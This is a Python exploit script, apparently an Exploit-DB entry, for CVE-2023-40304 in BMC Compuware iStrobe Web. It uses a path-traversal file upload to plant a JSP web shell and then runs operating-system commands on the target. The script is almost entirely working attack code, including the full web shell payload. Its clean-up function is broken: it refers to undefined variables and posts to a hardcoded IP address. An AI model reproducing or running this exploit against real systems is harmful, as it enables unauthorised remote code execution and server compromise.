#!/usr/bin/env python3 # Exploit Title: Pre-auth RCE on Compuware iStrobe Web # Date: 01-08-2023 # Exploit Author: trancap # Vendor Homepage: https://www.bmc.com/ # Version: BMC Compuware iStrobe Web - 20.13 # Tested on: zOS# CVE : CVE-2023-40304 # To exploit this vulnerability you'll need "Guest access" enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path traversal and an arbitrary file upload (.jsp files) # The vulnerable parameter of the form is "fileName". Using the form, one can upload a webshell (content of the webshell in the "topicText" parameter).# I contacted the vendor but he didn't consider this a vulnerability because of the Guest access needed. import requests import urllib.parse import argparse import sys def upload_web_shell(url): data = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"open","topicText":"<%@ page import=\"java.lang.*,java.io.*,java.util.*\" %><%Process p=Runtime.getRuntime().exec(request.getParameter(\"cmd\"));BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream()));String s=\"\";while((s=stdInput.readLine()) != null){out.println(s);};s=\"\";while((s=stdError.readLine()) != null){out.println(s);};%>","lang":"en","type":"MODULE","status":"PUB"} # If encoded, the web shell will not be uploaded properly data = urllib.parse.urlencode(data, safe='"*<>,=()/;{}!') # Checking if web shell already uploaded r = requests.get(f"{url}/istrobe/jsp/userhelp/ws.jsp", verify=False) if r.status_code != 404: return r = requests.post(f"{url}/istrobe/userHelp/saveUserHelp", data=data, verify=False) if r.status_code == 200: print(f"[+] Successfully uploaded web shell, it should be accessible at {url}/istrobe/jsp/userhelp/ws.jsp") else: sys.exit("[-] Something went wrong while uploading the web shell") def delete_web_shell(url): paramsPost = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"delete","lang":"en","type":"MODULE","status":"PUB"} response = session.post("http://220.4.147.38:6301/istrobe/userHelp/deleteUserHelp", data=paramsPost, headers=headers, cookies=cookies) if r.status_code == 200: print(f"[+] Successfully deleted web shell") else: sys.exit("[-] Something went wrong while deleting the web shell") def run_cmd(url, cmd): data = f"cmd={cmd}" r = requests.post(f"{url}/istrobe/jsp/userhelp/ws.jsp", data=data, verify=False) if r.status_code == 200: print(r.text) else: sys.exit(f'[-] Something went wrong while executing "{cmd}" command') parser = argparse.ArgumentParser(prog='exploit_cve_2023_40304.py', description='CVE-2023-40304 - Pre-auth file upload vulnerability + path traversal to achieve RCE') parser.add_argument('url', help='Vulnerable URL to target. Must be like http(s)://vuln.target') parser.add_argument('-c', '--cmd', help='Command to execute on the remote host (Defaults to "whoami")', default='whoami') parser.add_argument('--rm', help='Deletes the uploaded web shell', action='store_true') args = parser.parse_args() upload_web_shell(args.url) run_cmd(args.url, args.cmd) if args.rm: delete_web_shell(args.url)